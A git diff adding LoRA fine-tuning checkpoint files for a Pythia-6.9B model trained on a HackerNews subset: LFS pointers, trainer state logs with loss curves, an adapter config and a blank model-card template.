b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9edb8ec65f415e2db8020a2e5b532cef4fa36576d66c33557f0bc27ee70882d7 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..2f2ec6c584d5c4f1327793c6b5881b64ee2ac8f5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:89f7375722f26d18e0921d4077d7fdb82de9f3176fb2e83ec0872decc0830755 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..da263858f32b7536e68a33626ef41e3ef7a44689 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0dbbe288070e588c7effbe11249d330a3ad16131211e6b5dff1d03a8ebc7517f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..0fc1f2bea0ca1c9908bf307e3525efa76fd70425 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e5b7dec72c2b7f015512ea839980ec16d0582c7e6d0689dad8794261e73838b6 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..8326a6d5ec16c0a5cb8cc71afc7c3a7dd85baee7 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/trainer_state.json @@ -0,0 +1,333 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.6666666666666665, + "eval_steps": 10, + "global_step": 200, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.2772143972352e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..55cae597fbaa4c6d23ba8861979c88988c1a587f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:b8d432514305129bab6c53b05593d7608cb228f1bed69fa60896153ea421288d +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..5e83a962c88d1191150dda049d697081f9cd32e8 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3fdc19f127a242674271795da07a7a653f97905ec16dd9741f778bd6c1e6a30b +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..605214081e6b3060d6c3e526fc86e8b8fff3c71b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cd4e0019fadc179e2ea531ff33d86db759cb80e64a8826bb6bfa90c2483bfc04 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..3b44a2b0d3df617f15242e2d4ea4d5553b544573 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6c59d7cb173602f981a42f5fe61d72e03c87c9f97f456afe9fd66cd09957f177 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..725b60aa73628c3fc3f73da114527fd3de4b77d6 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/trainer_state.json @@ -0,0 +1,348 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.8, + "eval_steps": 10, + "global_step": 210, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.44107511709696e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-220/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More 